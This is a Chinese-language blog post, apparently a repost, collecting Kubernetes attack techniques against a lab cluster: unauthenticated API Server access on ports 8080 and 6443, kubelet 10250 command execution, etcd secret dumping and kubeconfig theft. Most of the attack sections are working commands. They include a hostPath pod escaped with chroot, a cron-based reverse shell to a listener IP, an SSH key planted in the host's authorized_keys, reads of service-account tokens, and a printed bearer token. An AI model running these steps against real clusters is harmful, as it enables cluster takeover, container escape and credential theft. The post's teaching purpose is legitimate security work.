【云安全】k8s漏洞合集 | k8s安全攻防

admin 2025年4月25日10:53:13评论1 views字数 8370阅读27分54秒阅读模式
【云安全】k8s漏洞合集 | k8s安全攻防
    🤔之前AI那篇文章有位师傅后台想要下k8s漏洞文档,不过后来超过时间我没法回复了,干脆直接发篇文章出来,当然文章最后也会附上原文档下载地址
    ❗本公众号技术文章仅供参考!文章仅用于学习交流,请勿利用文章中的技术对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。

k8s漏洞合集 | k8s安全攻防

k8s安装

多节点安装,而且如果不考虑指定版本的话可以看我另一篇文章《本地k8s搭建(无视网络限制,简单几步搭建)》,这里为了测试漏洞直接利用metarget进行单节点安装了,metarget初次提到,是在《【深度解析】从docker底层原因到CVE-2020-15257》想详细了解的可以看下

1️⃣安装一个1.16的k8s

#先安装docker./metarget gadget install docker --version 18.03.1#安装k8s./metarget gadget install k8s --version=1.16.5 --domestic

💡当装完metarget的时候可以趁着环境还干净打个镜像,之后如果发生什么类似于冲突相关的问题的时候就可以还原快照,简单粗暴的解决。

❗如果遇到bug或错误,可能性太多,不过大概率还是网络问题,如果实在解决不了欢迎留言私信加入交流群,看到了会及时回复。

【云安全】k8s漏洞合集 | k8s安全攻防

判断是否是k8s容器内

#可以使用命令kubectl exec -it <pod-name> -- /bin/bash

1️⃣查看磁盘空间使用情况,会发现下图所示/run/secrets/kubernetes.io/serviceaccount

【云安全】k8s漏洞合集 | k8s安全攻防
image-20250214150513058

💡这个目录是Kubernetes中一个与服务账户(Service Account) 相关的目录。它包含了用于访问 Kubernetes API的凭证文件。这些凭证是由 Kubernetes 自动生成并挂载到每个 Pod 中,以允许 Pod 中运行的进程与 Kubernetes  集群进行安全的通信。

  1. token:一个 JWT(JSON Web Token)令牌,它用于身份验证和授权。Kubernetes API 服务器使用这个 token 来验证 Pod 是否有权访问 API。
  2. ca.crt:Kubernetes API 服务器的证书(CA 证书),用于建立安全的 HTTPS 连接,以确保 Pod 与 API 服务器之间的通信是加密的,并且信任的。
  3. namespace:存储 Pod 所在的命名空间(namespace)信息。每个 Pod 都与某个命名空间关联,这个文件帮助进程了解其运行的命名空间。

2️⃣查看env环境变量

【云安全】k8s漏洞合集 | k8s安全攻防

API Server未授权访问

API Server

在 Kubernetes 集群中,API Server 是集群的核心组件之一,它充当着所有 Kubernetes 组件之间的通信枢纽,所有集群的操作(如创建、更新、删除、查询资源)都通过它来进行,跟之前讲的docker类似,如果出现api server未授权的情况,攻击者可以接管整个k8s😲。

API Server默认有两个端口80806443,💡这两个端口都提供访问 Kubernetes API 的服务,不过8080端口是非安全端口使用http协议,所以一般用于测试开启,而6443端口是默认的安全端口,采取https协议。

8080端口未授权访问

利用条件

  • Kubernetes版本小于 v1.20
  • 8080端口可访问

漏洞的产生

在k8s配置文件中(不通安装方式可能配置文件不同)

vim /etc/kubernetes/manifests/kube-apiserver.yaml

利用下面两个配置打开非安全连接并且监听所有网络接口

【云安全】k8s漏洞合集 | k8s安全攻防
image-20250311151006625

重启生效

systemctl restart kubelet

❗对于不同版本对于非安全连接的--insecure-port选项

  • Kubernetes v1.10 选项默认值从 8080改为 0(即默认禁用)
  • Kubernetes v1.19 选项被正式标记为废弃(Deprecated),建议用户迁移到安全端口 6443 并使用认证方式访问 API Server。
  • Kubernetes v1.20 选项被彻底移除,即从该版本开始,即使手动添加 --insecure-port=8080,也不会生效。

然后直接访问8080就能看到对应接口了

【云安全】k8s漏洞合集 | k8s安全攻防

漏洞利用

🛠️操作k8s

和docker一样,如果k8s的API Server出现未授权那么攻击者将完全接管k8s,利用k8s客户端进行任何操作。

⏬在自己的服务器上下载并安装kubectl

#设置 Kubernetes YUM 仓库cat <<EOF > /etc/yum.repos.d/kubernetes.repo[kubernetes]name=Kubernetesbaseurl=https://mirrors.aliyun.com/kubernetes/yum/repos/kubernetes-el7-x86_64enabled=1gpgcheck=1repo_gpgcheck=1gpgkey=https://mirrors.aliyun.com/kubernetes/yum/doc/yum-key.gpg https://mirrors.aliyun.com/kubernetes/yum/doc/rpm-package-key.gpgEOF#一键安装yum install -y kubectl

✅当我们成功在我们自己的服务器安装完kubectl客户端后,就可以直接利用命令来操作未授权的k8s

#查询所有命名空间kubectl -s 192.168.52.130:8080 get ns
【云安全】k8s漏洞合集 | k8s安全攻防
image-20250313213029210
kubectl -s ip:8080 get nodekubectl -s ip:8080 get pods

直接接管

【云安全】k8s漏洞合集 | k8s安全攻防
image-20250311235845061

🎊进入容器

kubectl -s ip:8080 exec -it [容器名] -- /bin/bash
【云安全】k8s漏洞合集 | k8s安全攻防
image-20250314013145773
🎉创建特权容器逃逸拿主机shell

在本地新建一个test.yaml文件如下

apiVersion: v1kind: Podmetadata:  name: nginx-hack1spec:  containers:  - image: ccr.ccs.tencentyun.com/library/nginx    name: test    volumeMounts:    - mountPath: /mnt      name: test  volumes:  - name: test    hostPath:      path: /

根据上面的yaml创建了一个pod,并且将主机的根路径/挂载到了该容器内的/mnt

#根据test.yaml在远程k8s创建pod并且跳过TLS验证kubectl --insecure-skip-tls-verify -s http://your-ip:8080/ apply -f test.yaml

然后我们可以执行进入到这个pod中,切换到/mnt,利用chroot逃逸

kubectl --insecure-skip-tls-verify -s http://192.168.52.130:8080/ exec -it nginx-hack1 -- /bin/bashchroot /mnt

😁逃逸成功

【云安全】k8s漏洞合集 | k8s安全攻防
image-20250315154420017
🎈写入定时任务反弹shell

在我们根据上面的内容创建了特权容器的时候,可以通过将反弹shell的命令写入到/mnt/var/spool/cron/root也就是宿主机的定时任务里,这样也能拿到宿主机的shell

❗而且由于我的k8s所在系统是ubuntu,所以在以往文章中也提过反弹任务要加上bash -c(ubuntu写定时任务有很多坑,建议仔细看看下方命令)

kubectl -s http://192.168.52.130:8080/ exec escape-pod  -it -- /bin/bash -c 'echo "* * * * * /bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.52.142/4444 0>&1"" > /mnt/var/spool/cron/crontabs/root'

🔑写公钥逃逸

由于根目录已经挂载了,所以我们可以直接将公钥写到宿主机的/root目录中,然后直接连接宿主机

#将公钥写到宿主机kubectl -s http://192.168.52.130:8080/ exec escape-pod -it -- /bin/bash -c "echo '$(cat ~/.ssh/id_rsa.pub)' > /mnt/root/.ssh/authorized_keys"#直接拿私钥去连接ssh -i ~/.ssh/id_rsa [email protected]

6443端口未授权

与8080端口相对的就是6443端口未授权,6443端口提供https服务,如果运维人员配置不当,将 "system:anonymous" 用户绑定到 "cluster-admin" 用户组,则会使得 6443 端口允许匿名用户以管理员权限访问。

正常情况下访问 6443 端口,提示 Forbidden。

【云安全】k8s漏洞合集 | k8s安全攻防

如果存在未授权,利用起来跟8080如出一辙,唯一的区别就是前面加上如下参数

kubectl --insecure-skip-tls-verify

kubelet 10250端口未授权

之前在云安全基础的时候讲过kubelet服务

Kubelet

  • 每个Node节点上都运行一个 Kubelet 服务进程,默认监听 10250 端口,接收并执行 Master 发来的指令,管理 Pod 及 Pod 中的容器。
  • 每个 Kubelet 进程会在 API Server 上注册所在Node节点的信息,定期向 Master 节点汇报该节点的资源使用情况,并通过 cAdvisor 监控节点和容器的资源。
  • 正常情况下访问该端口,如下是未认证状态
【云安全】k8s漏洞合集 | k8s安全攻防
image-20250323215558000

❗如果出现错误配置,如下

【云安全】k8s漏洞合集 | k8s安全攻防
image-20250323220635332

1️⃣anonymous.enabled如果设置为true,表示那么任何人都可以直接访问 kubelet API(10250 端口)

2️⃣authorization.mode表示指定授权模式,其中AlwaysAllow表示所有请求都直接通过,没有权限控制,而通常情况下这个选项的值为Webhook,表示将授权请求转发给 kube-apiserver,结合 RBAC 进行权限控制(所以如果是这种模式,即使anonymous.enabled设置为true,那么一些敏感操作也不会有权限执行)。

🧨如下图那样,就表示存在kubelet 10250端口未授权

【云安全】k8s漏洞合集 | k8s安全攻防

🤖在容器内执行命令

当10250出现未授权的时候,我们就可以访问这个kubelet的信息以及执行一些命令

#查看正在运行的podhttps://192.168.52.130:10250/runningpods/

🧐比如下方我们可知存在一个pod,正在运行,镜像是什么以及名字

【云安全】k8s漏洞合集 | k8s安全攻防

🤖我们可以利用如下请求在对应容器执行命令

#curl -XPOST -k "https://${IP_ADDRESS}:10250/run/<namespace>/<pod>/<container>" -d "cmd=<command-to-run>"curl -XPOST -k "https://192.168.52.130:10250/run/default/nginx-hack-cline/test-container" -d "cmd=ls /tmp"

执行成功

【云安全】k8s漏洞合集 | k8s安全攻防
image-20250323225334405

🪄当然我们也可以查看当前容器是否挂载了主机目录

curl -XPOST -k "https://192.168.52.130:10250/run/default/nginx-hack-cline/test-container" -d "cmd=fdisk -l"

像下图那样如果比较幸运发现当前pod存在特权容器,也可以用来逃逸

【云安全】k8s漏洞合集 | k8s安全攻防

🔑获取token

在 Kubernetes 中,每个 Pod 都可以与一个 服务账户 关联。服务账户(Service Account)是 Kubernetes 提供的一种机制,用于为应用程序(通常是 Pod 内的容器)提供访问 Kubernetes API 的凭证。这些凭证是通过 Kubernetes 自动分配给 Pod 的,通常用于容器与集群中的其他资源进行交互。

获取token

curl -XPOST -k "https://192.168.52.130:10250/run/default/nginx-hack-cline/test-container" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token"

拿到这个token之后就可以尝试看下这个token的权限能否操作api-server

curl -X GET -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6InlkM2ZzWTRKa1psdVdSX0otUGNpWVVBbFd3YXFiMWVac1VyWG5uMExzM1UifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImRlZmF1bHQtdG9rZW4teGpsczciLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC5uYW1lIjoiZGVmYXVsdCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjkyMjM5ZTliLWQwNzItNDkwMS04ZjE0LTU2YzRkMjIyOTRkYSIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDpkZWZhdWx0OmRlZmF1bHQifQ.OQGewe4CWydPisIRzqVzrom7U5Xqwzlauhkq4Xl7sIrFyY5DWT2Q6euTGfXm0AiFP4muHMrUwcIAPBywlqDyJBhO_W92A3HMVFrQL74XYsA7LluAgZsd64D9DPBr-k79jZGU4OhUaX0VprbacJuUzW2IHM8G7AKpbG0BUBaZZBslGg3O2HJEuAdt8J5527fbPkEIJDtDslo-yInDqIwaGYWpDgrSuHrwVLcNCiRDfm1PvCe-Xi2Y7DwljIhpMB5BlEMq4Kd78xHip2IW-NVSzZLPzWa71h_6PfeNYQ6t8tvrE8PJAHwr1mt9mgodZq7Fs64fEzSiaJJnpHcXFtCBXQ" https://192.168.52.130:6443/api/v1/pods

😕不过大多数情况应该不太行

【云安全】k8s漏洞合集 | k8s安全攻防

当然如果开放了dashboard也可以尝试登录一下,不过大多数情况应该也不行

【云安全】k8s漏洞合集 | k8s安全攻防

💾etcd未授权访问

简单的说etcd可以被视作 "Kubernetes 的数据库" ,但它的功能远远不止作为一个传统意义上的数据库。我们可以将 etcd 看作是一个 分布式键值存储系统,它主要用于 存储集群的配置信息和状态,为 k8s 集群提供底层数据存储,保存了整个集群的状态。。

在 K8s 集群初始化后,etcd 默认就以 pod 的形式存在,可以执行如下命令进行查看,etcd 组件监听的端口为 2379,并且默认对外开放。

kubectl get pods -A | grep etcd

正在运行

【云安全】k8s漏洞合集 | k8s安全攻防
image-20250329161509357

📄/etc/kubernetes/manifests/etcd.yaml是etcd的配置文件,其中存在一个配置项--client-cert-auth默认为true,表示访问etcd服务需要携带cert进行认证,如果目标启动etcd没有开启该选项,且由于默认2379端口又是对外开放的,所以造成未授权

【云安全】k8s漏洞合集 | k8s安全攻防
image-20250329162235255

访问如下地址证明未授权存在

#查看版本https://192.168.52.130:2379/version#访问和管理存储在 etcd 中的键值数据https://192.168.52.130:2379/v2/keys

✉️版本信息

【云安全】k8s漏洞合集 | k8s安全攻防

✉️键值数据

【云安全】k8s漏洞合集 | k8s安全攻防

每个 Service Account 都会自动生成一个关联的 Secret,这个 Secret 中包含了用于访问集群的认证凭证(即 Token)。如果某个 Service Account 拥有较高的权限,例如 cluster-admin 权限,那么它的 Token 就能提供对集群内所有资源的全面访问权。通过查找和获取这些高权限的 Token,攻击者可以发起 API 请求,执行包括修改集群配置、删除资源、创建新资源等在内的任意操作,从而完全控制 Kubernetes 集群。

#查询 etcd 集群中的键,并过滤出包含 "secret" 的键./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.52.130:2379/ get / --prefix --keys-only|sort|uniq| grep secret
【云安全】k8s漏洞合集 | k8s安全攻防
image-20250329165909530
#获取token./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://192.168.52.130:2379/ get /registry/secrets/kube-system/default-token-7blf8

🗝️最终的 token 为 token? 和 #kubernetes.io/service-account-token 之间的部分,也就是我圈起来的值

【云安全】k8s漏洞合集 | k8s安全攻防
image-20250329170802684
curl --header "Authorization: Bearer [token]" -X GET https://192.168.52.130:6443/api/v1 -k

成功

【云安全】k8s漏洞合集 | k8s安全攻防

🧐同样的如果开放了dashboard也可以用这个token去登录

🎁kubeconfig泄露

K8s configfile作为K8s集群的管理凭证,其中包含有关K8s集群的详细信息(API Server、登录凭证)。

用户凭证保存在kubeconfig 文件中,而kubectl执行命令时会通过以下顺序来找到 kubeconfig 文件:

  • 如果提供了--kubeconfig参数,就使用提供的 kubeconfig 文件。
  • 如果没有提供--kubeconfig 参数,但设置了环境变量 $KUBECONFIG,则使用该环境变量提供的 kubeconfig 文件。
  • 如果以上两种情况都没有,kubectl 就使用默认的 kubeconfig 文件 $HOME/.kube/config。

如下图比方说我这里利用漏洞拿到对应宿主机k8s的config文件,得到内容😁

【云安全】k8s漏洞合集 | k8s安全攻防
image-20250329230501699

然后同样的我创建了一个文件,将上面的config文件内容放了进去

vim /root/.kube/config

🆗当我执行完这个操作后,直接尝试在我们并没安装k8s的攻击机上执行k8s命令看看会发生什么,可以看到当我存在这个配置文件的时候它会直接通过配置文件中的server地址,然后再通过配置文件中的认证信息去调用k8s执行对应命令,❌然后当我把这个文件弄没,对应命令就执行不了了

【云安全】k8s漏洞合集 | k8s安全攻防
image-20250329231018976

当然如果配置文件并不在上文提到的kubectl在执行命令时会主动去找配置文件的那三个地方,我们也可以用--kubeconfig参数手动指定

【云安全】k8s漏洞合集 | k8s安全攻防
image-20250329231250891
文档下载地址后台回复:k8s漏洞文档

原文始发于微信公众号(小惜渗透):【云安全】k8s漏洞合集 | k8s安全攻防

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月25日10:53:13
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【云安全】k8s漏洞合集 | k8s安全攻防https://cn-sec.com/archives/3998951.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息